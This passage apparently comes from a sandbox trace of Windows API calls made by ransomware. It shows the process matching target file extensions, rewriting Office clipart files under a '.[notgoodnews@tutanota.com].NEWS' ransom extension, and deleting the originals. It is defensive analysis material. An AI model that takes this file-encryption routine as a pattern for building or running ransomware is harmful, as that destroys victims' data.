Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 1 [0086.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0086.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0086.080] lstrlenW (lpString=".doc") returned 4 [0086.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.080] lstrlenW (lpString=".docx") returned 5 [0086.080] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.080] lstrlenW (lpString=".pdf") returned 4 [0086.080] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.080] lstrlenW (lpString=".xls") returned 4 [0086.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.080] lstrlenW (lpString=".xlsx") returned 5 [0086.080] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.080] lstrlenW (lpString=".ppt") returned 4 [0086.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0086.080] lstrlenW (lpString=".zip") returned 4 [0086.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.080] lstrlenW (lpString=".rar") returned 4 [0086.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.080] lstrlenW (lpString=".bz2") returned 4 [0086.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.080] lstrlenW (lpString=".7z") returned 3 [0086.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0086.080] lstrlenW (lpString=".dbf") returned 4 [0086.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0086.080] lstrlenW (lpString=".1cd") returned 4 [0086.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0086.080] lstrlenW (lpString=".jpg") returned 4 [0086.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0086.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0086.080] lstrlenW (lpString=".doc") returned 4 [0086.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.080] lstrlenW (lpString=".docx") returned 5 [0086.080] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.081] lstrlenW (lpString=".pdf") returned 4 [0086.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.081] lstrlenW (lpString=".xls") returned 4 [0086.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.081] lstrlenW (lpString=".xlsx") returned 5 [0086.081] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.081] lstrlenW (lpString=".ppt") returned 4 [0086.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0086.081] lstrlenW (lpString=".zip") returned 4 [0086.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.081] lstrlenW (lpString=".rar") returned 4 [0086.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.081] lstrlenW (lpString=".bz2") returned 4 [0086.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.081] lstrlenW (lpString=".7z") returned 3 [0086.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0086.081] lstrlenW (lpString=".dbf") returned 4 [0086.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0086.081] lstrlenW (lpString=".1cd") returned 4 [0086.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0086.081] lstrlenW (lpString=".jpg") returned 4 [0086.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.081] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.081] lstrlenW (lpString="FD00076_.WMF") returned 12 [0086.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.082] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=11994) returned 1 [0086.082] CloseHandle (hObject=0x308) returned 1 [0086.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x220 [0086.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.082] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.082] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0086.083] GetLastError () returned 0x0 [0086.083] ReadFile (in: hFile=0x308, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x2eda, lpOverlapped=0x0) returned 1 [0086.084] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x2ee0, lpOverlapped=0x0) returned 1 [0086.085] ReadFile (in: hFile=0x308, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.085] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.085] SetEndOfFile (hFile=0x384) returned 1 [0086.086] CloseHandle (hObject=0x384) returned 1 [0086.086] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.086] SetEndOfFile (hFile=0x308) returned 1 [0086.087] CloseHandle (hObject=0x308) returned 1 [0086.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.087] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 1 [0086.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0086.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0086.087] lstrlenW (lpString=".doc") returned 4 [0086.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.087] lstrlenW (lpString=".docx") returned 5 [0086.087] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.087] lstrlenW (lpString=".pdf") returned 4 [0086.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.087] lstrlenW (lpString=".xls") returned 4 [0086.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.087] lstrlenW (lpString=".xlsx") returned 5 [0086.087] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.087] lstrlenW (lpString=".ppt") returned 4 [0086.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0086.087] lstrlenW (lpString=".zip") returned 4 [0086.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.088] lstrlenW (lpString=".rar") returned 4 [0086.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.088] lstrlenW (lpString=".bz2") returned 4 [0086.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.088] lstrlenW (lpString=".7z") returned 3 [0086.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0086.088] lstrlenW (lpString=".dbf") returned 4 [0086.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0086.088] lstrlenW (lpString=".1cd") returned 4 [0086.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0086.088] lstrlenW (lpString=".jpg") returned 4 [0086.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0086.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0086.088] lstrlenW (lpString=".doc") returned 4 [0086.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.088] lstrlenW (lpString=".docx") returned 5 [0086.088] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.088] lstrlenW (lpString=".pdf") returned 4 [0086.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.088] lstrlenW (lpString=".xls") returned 4 [0086.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.088] lstrlenW (lpString=".xlsx") returned 5 [0086.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.088] lstrlenW (lpString=".ppt") returned 4 [0086.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0086.088] lstrlenW (lpString=".zip") returned 4 [0086.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.088] lstrlenW (lpString=".rar") returned 4 [0086.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.088] lstrlenW (lpString=".bz2") returned 4 [0086.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.089] lstrlenW (lpString=".7z") returned 3 [0086.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0086.089] lstrlenW (lpString=".dbf") returned 4 [0086.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0086.089] lstrlenW (lpString=".1cd") returned 4 [0086.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0086.089] lstrlenW (lpString=".jpg") returned 4 [0086.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.089] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.089] lstrlenW (lpString="FD00077_.WMF") returned 12 [0086.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.089] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=30240) returned 1 [0086.089] CloseHandle (hObject=0x308) returned 1 [0086.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x220 [0086.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.090] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.090] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0086.090] GetLastError () returned 0x0 [0086.090] ReadFile (in: hFile=0x308, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x7620, lpOverlapped=0x0) returned 1 [0086.092] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x7630, lpOverlapped=0x0) returned 1 [0086.093] ReadFile (in: hFile=0x308, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.093] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.094] SetEndOfFile (hFile=0x384) returned 1 [0086.094] CloseHandle (hObject=0x384) returned 1 [0086.094] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.094] SetEndOfFile (hFile=0x308) returned 1 [0086.095] CloseHandle (hObject=0x308) returned 1 [0086.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 1 [0086.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0086.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0086.095] lstrlenW (lpString=".doc") returned 4 [0086.095] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.095] lstrlenW (lpString=".docx") returned 5 [0086.095] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.095] lstrlenW (lpString=".pdf") returned 4 [0086.095] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.095] lstrlenW (lpString=".xls") returned 4 [0086.095] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.095] lstrlenW (lpString=".xlsx") returned 5 [0086.095] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.095] lstrlenW (lpString=".ppt") returned 4 [0086.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0086.096] lstrlenW (lpString=".zip") returned 4 [0086.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.096] lstrlenW (lpString=".rar") returned 4 [0086.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.096] lstrlenW (lpString=".bz2") returned 4 [0086.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.096] lstrlenW (lpString=".7z") returned 3 [0086.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0086.096] lstrlenW (lpString=".dbf") returned 4 [0086.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0086.096] lstrlenW (lpString=".1cd") returned 4 [0086.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0086.096] lstrlenW (lpString=".jpg") returned 4 [0086.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0086.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0086.096] lstrlenW (lpString=".doc") returned 4 [0086.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.096] lstrlenW (lpString=".docx") returned 5 [0086.096] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.096] lstrlenW (lpString=".pdf") returned 4 [0086.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.096] lstrlenW (lpString=".xls") returned 4 [0086.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.096] lstrlenW (lpString=".xlsx") returned 5 [0086.096] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.096] lstrlenW (lpString=".ppt") returned 4 [0086.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0086.096] lstrlenW (lpString=".zip") returned 4 [0086.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.097] lstrlenW (lpString=".rar") returned 4 [0086.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.097] lstrlenW (lpString=".bz2") returned 4 [0086.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.097] lstrlenW (lpString=".7z") returned 3 [0086.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0086.097] lstrlenW (lpString=".dbf") returned 4 [0086.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0086.097] lstrlenW (lpString=".1cd") returned 4 [0086.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0086.097] lstrlenW (lpString=".jpg") returned 4 [0086.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.097] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.097] lstrlenW (lpString="FD00086_.WMF") returned 12 [0086.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.098] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=29212) returned 1 [0086.098] CloseHandle (hObject=0x308) returned 1 [0086.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x220 [0086.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.098] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.098] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0086.099] GetLastError () returned 0x0 [0086.099] ReadFile (in: hFile=0x308, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x721c, lpOverlapped=0x0) returned 1 [0086.101] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x7220, lpOverlapped=0x0) returned 1 [0086.102] ReadFile (in: hFile=0x308, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.102] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.102] SetEndOfFile (hFile=0x384) returned 1 [0086.102] CloseHandle (hObject=0x384) returned 1 [0086.102] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.102] SetEndOfFile (hFile=0x308) returned 1 [0086.103] CloseHandle (hObject=0x308) returned 1 [0086.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.104] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 1 [0086.104] lstrlenW (lpString="C:\\Program Files\\Microsoft 